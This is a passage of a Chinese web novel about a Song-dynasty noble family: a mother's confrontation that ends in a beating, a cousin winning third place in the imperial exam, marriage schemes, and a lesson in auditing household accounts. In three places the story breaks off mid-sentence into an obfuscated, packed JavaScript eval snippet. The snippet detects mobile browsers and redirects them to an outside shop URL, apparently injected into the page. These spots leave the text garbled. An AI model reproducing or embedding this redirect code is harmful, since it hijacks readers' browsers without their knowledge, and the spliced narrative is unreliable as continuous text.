曹舆怕母亲莽撞将事闹大,趴在榻上急唤:“母亲!母亲且慢!”可宋夫人正在气头上,哪里听得进去,一阵风也似的,直扑大房那边去了。
邹妈妈跌跌撞撞跟在后面,一路苦劝:“夫人息怒,夫人三思。”
宋夫人只当耳旁风,,到了大房门前,见大门紧闭,喝令两个健壮小厮说:“给我砸开!”
王夫人听得外头喧哗震天,从里屋出来,见宋氏叉腰立在当院,看样气得不轻。
“哎哟,这是作甚?弟妹是要拆了我这屋子不成?”王夫人惊叫道。
宋夫人手指几乎戳到王夫人脸上,唾沫星子横飞:“我呸!你养的那两个天不收地不留的好儿子!还有没有王法天理了?你儿子在外头要谋财害命,泼天的屎盆子倒扣在我家舆哥儿头上,好狠毒的心肠!”
“放屁!我儿子几时要害人性命?你红口白牙,休要血口喷人!”王夫人也急了,叉腰回骂。
“害没害人,把曹轸、曹轴那两个小贼给我叫出来,老娘今日定要与他们当面对质!”宋夫人说着,眼珠子骨碌碌往屋里乱瞟,恨不得立时揪出人来。
王夫人的小女儿曹兰书听见外面的动静,从厢房走出来,见这阵仗,连忙拉住宋氏衣袖,问:“婶婶息怒,这究竟为着何事?”
“哼!”宋夫人一把甩开,“问你那两位好哥哥去。你也休叫我婶子,我可当不起你婶子。”
曹兰书软语相劝道:“婶子说哪里话,万事好商量,咱们坐下来好好说。您这般大张旗鼓的闹事,外头人看见了难免要笑话的。”
“我儿命都快没了,还怕什么笑话。你少在这里和稀泥,快把你那两个好哥哥叫出来,看老娘不撕烂他们的臭嘴!”宋夫人破口大骂。
曹兰书见劝不住,只得含泪道:“婶婶且消消气,我这就去寻他们回来。”说罢,抹着眼泪匆匆去了。
宋夫人白了一眼,走到椅子跟前坐了下来:“你们大房这边可算是还有一个明白人。”
王夫人也不示弱:“你不过欺我孤儿寡母,无依无靠,欺我家官人是老太太抱养的。我好歹是你长嫂,你这般呼喝叱骂,眼里可还有半点尊卑?”
“大嫂说这话好没良心。大哥哥虽非老太太亲生,可自小到大,吃穿用度,哪一样老太太偏了心、短了礼?若非老太太心慈,大哥是死是活,是码头上扛大包,是给大户人家当奴才,还是田里刨食儿,都是他的造化,更别提后来承袭这鲁国公的爵位。若非大哥福薄早亡,这爵位,还轮不到我家官人这正经嫡出的血脉呢!”
这话戳了王氏肺管子,她虽然一时语塞,但腰杆依旧挺得笔直,气势上半点不肯认输。
很快,曹兰书哭着把曹轸和曹轸找了过来,两个人也知道自己犯了错,吓得头也不敢抬。
王夫人一见,气得一把揪住曹兰书的头发,劈头盖脸骂道:“作死的小贱蹄子,谁让你把他们寻回来的?你是存心要看你哥哥们挨打受罚不成?”
曹兰书疼得泪珠儿滚落,仍倔强说:“错了便是错了,更何况是差点惹出人命官司,岂能躲着?”
“吃里扒外的死丫头,心都偏到别人家去了。滚!别在我跟前碍眼!”王夫人狠狠一推。
宋夫人猛地一拍桌子,一院子的人瞬间安静了下来,曹轸曹轴两兄弟吓得直接跪在地上。
“我问你们,是谁差点儿把姓张的汉子打死的?”
曹轸道:“是…,是曹舆说,他看上那个朱三娘了,要娶朱三娘做外室。张汉子不愿意,开口要五百两银子。曹舆就说,让我兄弟俩把他打死,拖出去偷偷埋了。”
“你血口喷人。”宋夫人气势汹汹,眼神像是要吃人,“再不说实话,我扒了你一层皮!”
曹轴也哆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202119|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嗦着帮腔:“就是曹舆说的,是他让我们这么干的。”
宋夫人气极反笑:“你们什么时候这么听他的话了?他让你们干什么你们就干什么,他让你哥俩去吃屎,你们也去吃屎不成?”
曹轴喃喃道:“我们又不是狗,吃什么屎啊…”
“还知道自己不是狗,那你兄弟两个怎么不干人事呢?”
邹妈妈在一旁看得心惊肉跳,终于觑个空子,上前扯了扯宋氏的袖子,低声道:“夫人,冤家宜解不宜结,得饶人处且饶人吧。闹僵了,大家脸上都不好看。”
“没理还要占三分呢,得理凭什么要饶人!”宋夫人眼神凶狠,说话不紧不慢,却很有威慑力,“既然他哥俩不承认,那咱们就去报官,让青天大老爷来断一断。”
王夫人道:“告官便告官,老娘还怕了你不成?”
宋夫人腰板儿一挺,嗓门拔得老高:“我是身正不怕影子斜的,不像有些人,身上背了血债官司,打量着我不知道呢!”
王夫人脸色忽然间变得唰白,方才那要吃人的气势登时泄了大半,慌忙上前一步,想挽宋夫人的胳膊:“好弟妹,一家子骨肉,闹大了谁脸上有光?”
“呸!我如今还怕丢人?”宋夫人一把甩开她,“你儿害得我舆哥儿差点送了命,这公道,我今儿是非讨不可!翻脸比翻书还快的东西,方才那威风呢?”
王夫人心知不妙,强堆起笑,对着旁边噤若寒蝉的丫头喝骂:“死人!还不快给夫人端上好的茶来!”
“可不敢。”宋夫人冷笑一声,霍然起身,指着廊下几个小厮,“去,这就去开封府衙门前击鼓鸣冤,也替那些屈死在她手里的冤魂,讨个说法。”
“弟妹,使不得,万万使不得。”王夫人魂飞魄散,一把攥住宋夫人的手,身子簌簌往下坠,“千错万错,都是曹轸、曹轴那两个孽障小畜生的错,我这就叫他们磕头赔罪,给舆哥儿,给二叔磕头认错,这样可行了?”
“不行。”宋夫人眉梢一挑,乜斜着眼说。
“那……那还要怎样?”
“我儿身上的伤,就白挨了?”
王夫人心领神会,一咬牙,转身厉声吩咐:“来人!取家法大棒来!今日我非打死这两个作孽的畜生,给弟妹消气不可!”
曹轸、曹轴兄弟俩早吓得面无人色,魂不附体,哪曾想闹到这般田地。
小厮不敢怠慢,递上碗口粗的硬木棒子。
王夫人双手高举,眼一闭心一横,那棒子带着风声,“呼”地就朝曹轸臀股上夯去!
“哎哟娘啊!”曹轸杀猪般嚎叫起来,捂着屁股满院子乱窜。
王夫人追打不上,气急败坏地喝令小厮:“给我死死按住。”
一时间,哭爹喊娘的哀嚎响彻整个院子。直打了三四十下,棒子都染了红,宋夫人才慢悠悠啜了口茶,唇角露出一丝满意的笑容,扶着丫头的手,大摇大摆扬长而去。
王夫人心疼得肝肠寸断,扑到两个瘫软如泥的儿子身上,眼泪不停往下掉。又抬眼看着宋夫人远去的背影,眼神充满恨意,巴不得千刀万剐了她。
8. 安亭蕴喜中探花郎 赴龙门才子登程
转眼春闱期近,安亭蕴打点好行装,预备往贡院应试。曹府上下都出来相送,老太太、老爷太太们、哥儿姐儿们挤了半院子,口里尽是些吉祥的话儿。
曹晚书身量娇小,被几个兄姐挡在后头,只得踮着脚尖儿,从人缝里向外张望。
安亭蕴目光扫过众人,一眼便瞧见了那藏在人后的纤弱身影,心头一暖,眉间郁色尽散,唇角漾开温柔笑意。
日头正好,金辉洒落,映得他清俊面庞如玉生光,长睫微颤,带有几分耀目。
“这些日子,承蒙老太太、舅舅、舅母并各位弟弟妹妹照拂,亭蕴感念于心,没齿难忘。”安亭蕴团团作揖,言辞恳切地说。
曹望寄予厚望,如慈父般重重拍了拍他的肩,笑道:“到了那龙门之地,但求才思如泉,笔下生花,一举夺魁。既为自家争气,也叫我们跟着沾光,哈哈…”说着,将手里提着的食盒递上马车,“这是你舅母亲手做的五香松瓤糕,带着考场里垫补些。”
“承舅舅吉言。”安亭蕴含笑应了,登车挥手与众人作别。
当天晚上,曹玉书来到曹晚书屋里,姐妹俩躺在床上聊些女孩家的体己话。
玉书忽然问道:“五妹妹,你以后想嫁给什么样的人?”
晚书凝思片刻,说:“嗯…,不求他大富大贵,也不求他满腹经纶,只求他能够对我无微不至就好。我喜欢简单平淡,无波无澜的日子。”
她在书中见惯了大宅子里的勾心斗角,什么妯娌之争、妻妾争宠、兄弟阋墙、奴仆内斗等等。
这些不管哪一件,都是让人头疼的问题,还没准儿因为一些小事就丧命。
如果能够嫁到一家人口简单,公婆都明理的,那就最好不过了。曹晚书是这么想的,但是又觉得不太可能,也就只能想想了。
“那四姐姐,你想嫁给什么样的男子?”
“我想嫁的人,要好看,其次是对我好,最好家室也好,这样我脸上也有光。”曹玉书想想,忍不住笑了起来,“我还想让他护着我,你也知道,我这个人,又比较任性妄为,如果那个人可以包容我的一切就好了。其实我也和你一样,想简单快乐的活着。”
晚书侧过身,望着她亮晶晶的眼睛,柔声道:“四姐姐这般品貌,日后定能得遇真心疼你的良人。”
玉书眼神却倏地黯了下来,声音里带着哽咽:“可母亲一心想送我入宫,都说宫门一入深似海,到那时,我害怕我便再不是我了。”
“日子且长着呢,谁知将来如何。”晚书握住她的手,“常言道世上本无事,咱们何苦先做那庸人自扰?”
玉书被她逗得破涕为笑,伸手就去呵她痒痒。姐妹俩笑闹作一团,锦被翻腾,青丝交缠,笑得格外开心。
外面巡夜的管事婆子听见屋里动静,便在窗户外头喊了一句:“五姐儿别闹了,快睡下吧。”
姐妹一听动静,连忙将被子往上一提,盖在头顶,躲在被窝里头不敢说话。
过了好一会儿,外头没声了,估摸着管事婆子是走远了,便探出小脑袋瓜来,浑圆的大眼睛提溜转着,你看看我我看看你,又忍不住笑了起来。
“五妹妹,我总感觉你像变了一个人。你以前总爱跟我和大姐姐作对,可是现在,你乖巧又懂事,家里人都很喜欢你。虽然你我不是一个肚子出来的,可是我和你相处起来,比我跟大姐姐在一起还要亲。”
曹晚书愣了愣,不紧不慢吐出来几个字:“嗯…也许是我脑子开窍了?”
“噗,哈哈哈,哪有人这么说自己的,傻丫头。”
不一会儿,曹玉书又摸着自己咕噜咕噜叫的肚子,忍不住道:“哎呦…,我晚饭吃的少,现在竟然又饿了。”
“四姐姐你等着,我给你看样好东西。”曹晚书一骨碌从床上下来,走到柜子跟前,拿出来一个小筐,放在曹玉书面前。
曹玉书一瞧,顿时欣喜起来:“呀!是玉楼山洞的梅花包子、宝阶糕、鲍螺酥、山药元子,竟然还有雪花酥。”
她忍不住捏了捏晚书的脸颊,“原来你这小妮子,夜夜藏着这许多好东西打牙祭呢。”
晚书只淡淡笑了笑,一时无话。
且说安亭蕴这边。
不久,放榜的日子就到了,曹望和宋夫人,带着曹辕、曹舆、曹轼兄弟三个,陪安亭蕴一起去了东华门看榜。
崇政殿一直到东华门,熙熙攘攘挤满了人群,上至达官贵族,下至平民百姓,都想一睹今年新科进士的风采。
当然,有人欢呼雀跃,也有人垂头丧气,总之就是几家欢笑几家愁,中榜的人全家笑开了花儿,而那些名落孙山的,个个耷拉着脸,阴沉的像烧了十几年的黑锅底。
从第一列开始看,一眼就看见了安亭蕴的名字。
进士一甲第三人——济州安亭蕴。
曹辕激动地叫了起来,连连大喊:“中了!中了!二表哥中的一甲探花,哈哈哈。”
“哈哈哈。”曹望捋着胡须,笑得合不拢嘴,眼睛眯成了一条缝,“这孩子争气,日后定有大出息。”
安亭蕴目光炯炯地盯着自己名字,看了半天,小声自言自语道:“母亲,儿子出息了。”
这厢喜气尚未散尽,早被那专在榜下捉婿的豪奴富贾觑见。
一群穿绸裹缎的老爷们,带着一群家丁,饿虎扑食般围将上来。
这个扯住安亭蕴的袖口:“公子,我家有女品貌端方,正堪匹配。”
那个便拽住他的袍带:“休听他胡吣,他家女儿是个麻子。公子且随我去,我家陪嫁良田千顷,东京城里十间旺铺!”
你推我搡,唾沫横飞,把安亭蕴围在中间,堵的水泄不通。
曹望脸上那点喜色瞬间褪得干干净净,这等乘龙快婿的好事,自家那几房丫头还没个定论,倒叫这些腌臜泼才抢了先?
他重重咳了一声,三个儿子会意,忙使出吃奶的力气,连推带搡,护着安亭蕴杀出重围,慌不迭塞进轿子。
轿帘刚放下,马蹄方欲起,一个胖大员外腆着肚子追了上来,扒着轿窗,气喘如牛:“公…公子,金榜题名,人生大喜,何不喜上加喜?我家小女……”
还没说完,后面又追来几个老头,个个争红了眼:
“这位公子是我家先看中的!”
“放屁!明明是我家先搭的话!”
争执不下,似要动手强抢。
曹望吓得魂飞魄散,一把掀起轿帘,对着轿夫嘶声吼:“蠢材,还不快跑。加鞭!加鞭!”
那马儿吃痛,撒开四蹄狂奔,总算将那群饿狼甩脱。
宋夫人坐在轿中,啐道:“呸,一帮子没脸没皮的,打量着新贵人脸嫩好欺,就想白捡个金龟婿?也不撒泡尿照照自己。”
回到曹府,惊魂甫定。
宋夫人立时将亲生的儿子曹舆唤到跟前。
看他那副吊儿郎当、站没站相的模样,气不打一处来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202120|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,指着鼻子骂道:“我的儿,你须得替娘争口气。瞧瞧你二哥曹辕,头悬梁锥刺股,是个读书种子;便是你六弟曹轼,小小年纪,也晓得在书堆里用功。偏生是你,三天打鱼,两日晒网,心思全系在瓦子勾栏那些下贱去处。眼瞅着来年你二哥也要下场,若他高中,日后轼哥儿也出息了,独独你,文不成武不就,烂泥扶不上墙,你让娘这张老脸,日后往哪搁?”
曹舆浑不在意,嬉皮笑脸道:“娘这话差了。二哥六弟,不都是咱曹家的骨血?他们金榜题名,娘脸上不也有光?再说,人各有命,儿子天生就不是那块料。儿子想好了,等身上这顿板子养利索了,就去投军,一刀一枪,搏个封妻荫子,岂不快哉?”
“什么?!”宋夫人脸都白了,一把抓住曹舆的胳膊,“我的活祖宗,你趁早死了这条心,那行军打仗是好耍子的?刀枪无眼,白刀子进红刀子出,这可是拿命换前程。娘就你这一个亲生的肉疙瘩,你要是有个三长两短,是要剜娘的心肝,逼娘去跳河啊。”说着,眼泪便滚了下来。
曹舆见母亲真急了,反倒收了嬉笑,只那惫懒劲儿还在,摊手道:“您看,您嫌我没出息,又不许我去搏前程。儿子这也不是,那也不是,您这不是让儿子作难么?”
宋夫人捶胸顿足:“我宁愿你一辈子没出息,就在我眼皮子底下混着,也不许你去碰阎王爷的勾当。你要敢去,娘就先死给你看。”
曹舆索性破罐破摔,二郎腿一翘:“您依不依的,横竖拦不住。明儿我就寻父亲说去。这军,儿子是投定了。”说罢,起身要走。
宋夫人气得浑身乱颤,指着他背影哭骂:“孽障,不孝的孽障。你是要活活气死我,好让我早早闭了眼,省得为你操碎了这颗心,呜呜呜……”
紫蝶苑。
曹望今日心绪甚佳,多饮了几杯,歪在柳姨娘床上。
柳姨娘只穿了件水红色抹胸,外罩一件衫子,软绵绵地伏在曹望胸前,两人耳鬓厮磨,温存了好一番。
柳姨娘起身下床,赤着脚儿走到案几旁,案上摆着几碟果品并一壶温着的好酒。她执起酒注,先给曹望斟了一浅杯,又给自己也满上。
“对酒当歌,人生几何。”曹望接过酒盅,美滋滋地抿了一口,话匣子也打开了,“今日听主考的严老大人漏了口风,说咱们亭蕴啊,原是该点状元的。奈何生得忒俊俏了些,生生被排到了第三位,做了探花。
哈哈,你道那状元是谁?竟是个六十多岁的老棺材瓤子。考了怕有十几次,胡子都白了才捞着这状元。更有趣的是,听说也有那不开眼的,榜下抢婿,一窝蜂把状元老爷抢回了家,掀开轿帘一看,好家伙!一个胡子花白的老叟,他家那如花似玉的黄花大闺女还在房里等着呢!臊得那家老爷和状元公,两个老家伙你看我我看你,哈哈哈哈哈!”曹望说得兴起,拍着大腿直乐。
柳姨娘也忍不住笑了起来,他又从柜子里,拿出曹轼写的文章给曹望看:“你瞧,这是轼哥儿写的文章,今儿还被薛先生夸了。说他文章深刻透彻,行文舒展自如。”
曹望接过看了看,连连点头,欣慰地笑了笑:“不错,的确不错。日后若是轼哥儿也能金榜题名,让我高兴高兴就好了。”
柳静钗又问:“老爷,咱们晚丫头的婚事,您有打算了吗?”
“她大姐姐四姐姐的婚事还没有着落,你急个什么劲儿。亭蕴中了探花,我想着把大姐儿许配给他,这样咱们家也能沾上点光。”
9. 你给我家做女婿吧 柳姨娘悔失佳婿
柳静钗怔愣了半晌,才回过神来,难以置信道:“您不是说要把晚丫头许配给亭蕴吗?怎么如今又变成金丫头了?”
曹望打了个酒嗝,酒意上涌,浑不在意地摆了摆手:“嗐,此一时彼一时罢了。当初我是提过晚丫头,可你不是嫌他是个穷酸举子,家底单薄,死活不乐意么?
再者,那时候我是打定主意要把大姐儿许给襄阳王的,谁成想,大姐儿跟襄阳王的婚事黄了。”
他又咂咂嘴接着道:“如今倒好,亭蕴一举高中探花,前程无量。大姐儿的年纪与亭蕴正相当,郎才女貌,说起来也算是天作之合。
晚丫头还小呢,离及笄还有两年的光景。亭蕴已是弱冠之年,又有功名在身,汴京城多少双眼睛盯着他,万一被别家捷足先登抢了去,咱们就是肠子悔青了也没用。”
柳静钗心里五味杂陈,悔得肠子都青了。
当初她嫌弃安亭蕴出身寒微,料定他难成大器,谁能想到,人家是个深藏不露的真才子。
这么一个现成的金龟婿,平白便宜了宋夫人的女儿,她如何甘心。
曹望瞧出了她的心思,伸手拍了拍她的肩膀,温言劝慰道:“好了好了,静钗,你也别恼。咱们的女儿,还愁找不到好人家?日后我定然为咱们晚丫头,寻一门富贵体面的好亲事,包管不叫你失望。”
柳姨娘依偎在他怀中,低着头一言不发,心里偷偷打起了小算盘,琢磨着该给女儿寻个什么样的人家才好。
可思来想去,只觉得安亭蕴是再好不过的人选,只可惜自家女儿年纪太小,整整比安亭蕴小了七岁。
曹晚书如今还是个稚气未脱的小丫头,年龄毕竟摆在那里,总不能让人家探花郎等上她两年。
放榜的喜气还未散尽,官家便摆驾金明池,设宴款待今科新贵。安亭蕴早早起身,将那套预备妥当的官服穿戴齐整。
头上一顶长翅乌纱帽,一侧插了朵碗口大的猩红绢花,身上一领鹦哥绿的崭新官袍,衬得他面如傅粉,眼似点漆,端的是一位风流俊俏的探花郎。
曹晚书一溜小跑跟在他身后,嘴甜得像抹了蜜,连声奉承:“二表哥真真是文曲星下凡,蟾宫折桂,拔得头筹,妹妹给您道喜啦!”
安亭蕴嘴角噙着一抹温润的笑意,回身虚扶了她一把:“五妹妹这张巧嘴儿,尽会拣好听的话说。我能有今日,不过是托了妹妹的福气罢了。”
“二表哥忒也谦虚了,这福气可是实打实落在您头上的。”曹晚书眨巴着一双杏眼,望着表哥这身通身的气派。
不知怎地,忽地想起《诗经》里夸赞美男子的句子,“有匪君子,如切如磋,如琢如磨”,可不正是眼前这人活生生的写照么?
曹家几位姑娘,连同曹晚书在内,都央告了长辈,要去金明池开开眼界,瞧瞧新科进士游街的排场。
谁知通往金明池的大道,早被看热闹的男男女女挤得水泄不通,车马寸步难行,众人只得下了车,在人潮里慢慢往前捱。
这一路上,曹望那张脸绷得紧紧的,一双眼睛死死黏在安亭蕴身上,半步都不肯离开。
他防的是甚?
还不是防那些榜下捉婿的权贵人家!
汴京城里多少富贵门第,都盯着这些新出炉的进士老爷,尤其是安亭蕴这般年轻俊俏的,更是众人争抢的香饽饽。
他曹望可是老早就瞧准了这块肥肉,一心盘算着收作自家东床快婿,焉能让旁人半道截了胡?
手快有,手慢无,这个道理他门儿清。
好容易挨到金明池边,安亭蕴随着状元、榜眼一同登上官船,在碧波之上赴宴去了。
曹望这才抹了把额头的冷汗,长长地吁了口气。
金明池外头,除了那些奉命捉婿的豪奴家丁,还挤满了花枝招展的大姑娘小媳妇,一个个伸长了脖颈,踮着脚尖,只为一睹那传闻中如谪仙下凡的探花郎风采。
晚书心里暗暗感叹,这般光景,真是应了王安石那句诗:“却忆金明池上路,红裙争自绿衣郎。”
今年的状元刘掩,是个年过花甲的老学究,胡子都白了,莫说妻妾成群,怕是重孙子都能打酱油了,自然无人问津。
最抢手的,当属贺榜眼与探花安亭蕴。
曹晚书曾听大姐曹金书嚼舌根:放榜那日,贺榜眼刚出贡院,就被礼部尚书府的家丁一窝蜂扛了回去。
尚书大人连哄带吓,当场便将自家闺女许配给他,还拍着胸脯说不要聘礼,反倒贴丰厚嫁妆。
“真是‘十年寒窗无人问,一朝成名天下知’啊。”贺榜眼坐在官船之上,望着满池碧波,忍不住慨然长叹,说罢举起满斟的金杯,一仰脖便饮了个干净。
老状元刘掩捋着雪白的长髯,附和道:“万般皆下品,唯有读书高哇。老夫活了这一把年纪,总算是尝透了这句话的滋味。”
贺榜眼又给自己斟满一杯酒,转头冲着安亭蕴举杯笑道:“安贤弟年少英才,一举高中探花,当真是了不得。”
安亭蕴浅浅一笑,举杯还礼,语气谦和:“贺兄谬赞了。小弟才疏学浅,不及贺兄万一。”
宴罢,众进士大多喝得东倒西歪,被家人仆从搀扶着各自回去。
安亭蕴也带了几分醉意,缓步踱回曹府。
曹老太太提前得了信,忙不迭吩咐厨房熬了浓浓的醒酒汤,守着他咕咚咚喝了下去。
安亭蕴起身对着曹老太太躬身作揖,言说明日便要搬离曹府,多谢府上这些时日的盛情款待。
曹老太太哪里肯依,拍着床沿嗔怪道:“好哥儿,你莫不是中了探花,就嫌弃我这老婆子了?不许走,就在府里住着!”
安亭蕴再三推辞不过,只得暂时应承下来。
原来官家另有恩典,赐下三千贯铜钱,专供这班新科贵胄宴饮交际。
惯例是以状元为首,众人依次做东,日日笙歌,夜夜宴席,名为联络同年情谊,实则是借机攀结人脉,为日后的官场铺路。
可这三千贯铜钱,听着数目不小,真要撒开了花用,压根不够使。想要置办一场像样的酒席,没有万贯家财打底,根本打不住。
安亭蕴心里自有盘算,自家根基浅薄,没必要用这许多银钱去填无底洞。
况且酒席之上结交的,多是些酒肉朋友,能有几分真心实意?倒不如不去的好。
官家赏赐的这三千贯钱,他转眼便在汴京城寻了一处寻常宅院置办下来,又买了一匹脚力尚可的骟马代步。几番开销下来,那笔赏钱也就见了底。
房子既已买下,便再无继续借住曹府的道理。
临搬走的前一日,曹望
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202121|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心里那点小九九再也按捺不住,催着宋氏去探探安亭蕴的口风。
厅堂之内,曹望看着安亭蕴,搓着手掌,嘿嘿干笑几声,话在嘴边滚了几滚,怎么也说不出口。
宋夫人也在一旁陪着笑脸,一时不知如何启齿。
安亭蕴是个伶俐通透人儿,早瞧出这对夫妇肚里的盘算,索性主动开口,打破了这份尴尬:“舅舅、舅母可是有什么吩咐?不妨直言。”
宋夫人连忙接过话头,脸上堆满了殷勤的笑意:“亭蕴啊,你今年该是二十整了吧?弱冠之年,正是成家立业的好时候。
如今你金榜题名,功名已就,舅母想着给你说门亲事。咱们两家亲上加亲,你早日成家立室,岂不是好上加好?”
曹望在一旁连连点头如捣蒜,其实这番算计,从安亭蕴进京赶考之前就开始了。
他先是特意托人传话给山东安家,邀他来府中住下,为的就是近水楼台先得月。
如今安亭蕴受了曹府这许久的恩惠,这门亲事,总不好推脱了吧?
不料安亭蕴脸上的笑容淡了几分,他早料到曹望属意的是哪个女儿,当下便起身拱手,言辞恳切地推辞道:“舅母厚爱,亭蕴铭感五内。只是侄儿虽侥幸得中,如今不过是个翰林院编修的七品微职,俸禄微薄,根基未稳。侄儿想着再等上几年,待仕途稍有进益,立稳了脚跟,再议婚娶之事也不迟。”
他这番话意思表达得明明白白:眼下,他不打算成亲。
曹望皱起眉头,失声道:“啊?你的意思…是这两年都不娶了?”
他心里可是急坏了!
翰林院编修虽说是个小官,却是清贵无比的差事,常在御前行走,日后的前程不可限量。
这么好的金龟婿,怎能眼睁睁放过呢。
安亭蕴态度十分坚定:“正是,侄儿眼下不打算娶妻。”
宋夫人心里飞快地盘算起来:她的大女儿金书,今年已经十七岁,正是花儿一样的年纪,哪里等得起两年?
待到十九岁,早已过了婚配的好时候,好人家可就难寻了。次女玉书,她是存了心要送进宫里博富贵的,断不能便宜了安亭蕴。
剩下的,便是大房王夫人那边的兰书,还有眼前这个庶出的晚书了。兰书是大房的姑娘,这好女婿千万不能落到大房手里。
这么算来算去,只剩下晚书一个人选。
只恨这丫头是柳姨娘肚皮里爬出来的,不过倒还乖巧懂事,知道孝顺长辈,模样也生得周正,过两年正好及笄。
反正都是曹家的孩子,跟亲生的也没两样,只是讨厌她那个眼皮子浅的亲娘罢了。
这么一想,宋夫人脸上又绽开了笑容:“好,好,过两年就过两年。哥儿有志气,想先立业后成家,舅母懂。只是哥儿啊,”她话锋一转,“到那时候,可别忘了咱们曹家,别忘了你这些妹妹们呀!”
安亭蕴听出了她话里的弦外之音,当即郑重道:“舅舅舅母放心,滴水之恩,当涌泉相报。曹府待亭蕴的这份恩情,亭蕴时刻铭记在心,不敢或忘。”
宋夫人最是惯会察言观色,见好就收,立刻岔开了话头,亲热地拉着家常:“哥儿真是个知恩图报的好孩子,等你回山东见着你爹娘,千万替我们问好,就说我们这边府里,上上下下都惦记着他们呢!”
10. 曹晚书学账济亲
自那日起,曹晚书并几个姐妹日日往老太太房中习学规矩。这日学的是管家理账的功夫。
老太太端坐榻上,背后垫着弹墨绫子靠背,两个小丫鬟在旁捶腿。
老太太命人搬来一摞账册,都是往年府中采买用度的记录。她先不言语,只让几个姑娘各自取了一真一假两本账目细细查看。
“祖母,这账目破绽也太显了些。市面上鸡蛋便是最贵时,也不过百文一筐。这一两银子的价,怕是凤凰蛋了罢?”曹金书说罢,掩口而笑。
曹玉书也翻到自己那本,蹙眉道:“一月五百筐鸡蛋,便是一人一日食十个,也得百十号人才吃得完。咱们府上统共不过这些人口,哪里消受得了?”
老太太看着曹晚书和坐在末位的曹兰书:“晚丫头、兰丫头,你们可看出什么来?”
曹兰书怯生生道:“孙女愚钝,两位姐姐说的,便是孙女想说的了。”
晚书将账本又翻过几页,才徐徐道:“祖母,这明面上的虚价浮数,自是容易看破。孙女倒觉得,真正的关节不在这些地方。”
“哦?你且说说。”
晚书指着账本一段:“您看这修缮花园一项,三月里支了三百两银子。后头附的明细写着:购太湖石二十块、移栽牡丹五十株、添置石凳六张。单看无甚不妥,可翻到四月账目,同样写着补买太湖石五块、添牡丹十株。既已修缮完备,何须月月补买?”
“孙女方才粗算,单这一项,一年多支的银子就不下五百两。这还只是明账上的,若商行与管事的有勾连,虚报数量,只怕十倍于此也不止。”
老太太默了半晌,惊叹道:“好个玲珑心肝的丫头。”
说罢命丫鬟重新上茶,细细讲起这管家账目里的乾坤来。
晚书听得入神,豁然开朗。
从前在现代也学过会计,但是从未想过背后还有这般天地。
当夜,晚书伏在小炕桌上,就着烛光翻看那些账册。
这些陈年旧账里,藏着许多往事。
譬如哪年府里娶亲、哪年修建别院、哪年灾荒减了用度等等,倒像是一个家族的兴衰实录。
她看得入迷,不知不觉已过了三更。
三个丫鬟早熬不住,在外间榻上睡了又醒,醒了又睡。
最后冷元子实在忍不住,披衣进来劝道:“我的好姑娘,这都四更天了,便是有天大的学问,也不急在这一时。仔细明日头疼。”
晚书这才依依不舍地合了账本。
天才蒙蒙亮,果子便来掀帐子:“姑娘快起,今儿可不能贪睡。”
晚书迷迷糊糊翻了个身,嘟囔道:“又是什么道理…?”
“老一辈说,社日睡懒觉,一年都昏沉呢。”果子一边说,一边将人从被窝里挖出来。
冷元子端来温水服侍洗漱,又打开妆奁,取出一根五彩丝线编的细绳,上头串着瓣晒干的蒜头。“姑娘低头。”她说着将绳子系在晚书颈间。
晚书对着镜子照了照,哭笑不得:“这又是什么讲究?”
“辟邪的。”梅子从外头进来,手里捧着新折的桃枝,“今日街上有社戏,热闹极了。大姑娘、四姑娘都去瞧了,咱们也去吧?”
左右无事,晚书便应了。
一行人出了角门,长街上人声鼎沸。
路旁搭了戏台,演的是土地公巡春。远处空场上摆着香案,供着三牲果品,几个乡老领着众人祭拜。
曹晚书这才明白,原来春社是祭祀土地神的日子。
坊间百姓凑份子买酒肉,祭罢便分食,谓之“散福”。
晚书看了一会儿,忽见人群里闪过一个熟悉身影。
那人骑着匹青骢马,神色匆匆,仔细一看,是安亭蕴。
“二表哥这是往哪里去?”
安亭蕴见是她,连忙下马:“是五妹妹啊。家母旧疾突发,我正要去请大夫。”
细问之下才知,安亭蕴今春刚将父母从山东接来京城。
他母亲曹氏患有怪病多年,起初只是腰背酸软,渐渐直不起身,如今已卧床不起。这几日病情加重,时昏时醒,看了许多大夫都不见好。
晚书心下恻然,她闲来无事,倒是翻过很多医书,便道:“表哥若信得过,容我去瞧瞧姑母可好?”
安亭蕴正愁寻不到名医,闻言忙道:“妹妹肯去,自然是好的。”
安家赁的宅子在榆钱胡同,是个一进的小院。里面收拾得干干净净,墙角还种着几丛晚香玉。
进了房门,床上躺着个妇人,面容憔悴,双颊凹陷。
“这是二舅舅家的五姑娘晚书。”安亭蕴俯身温言道。
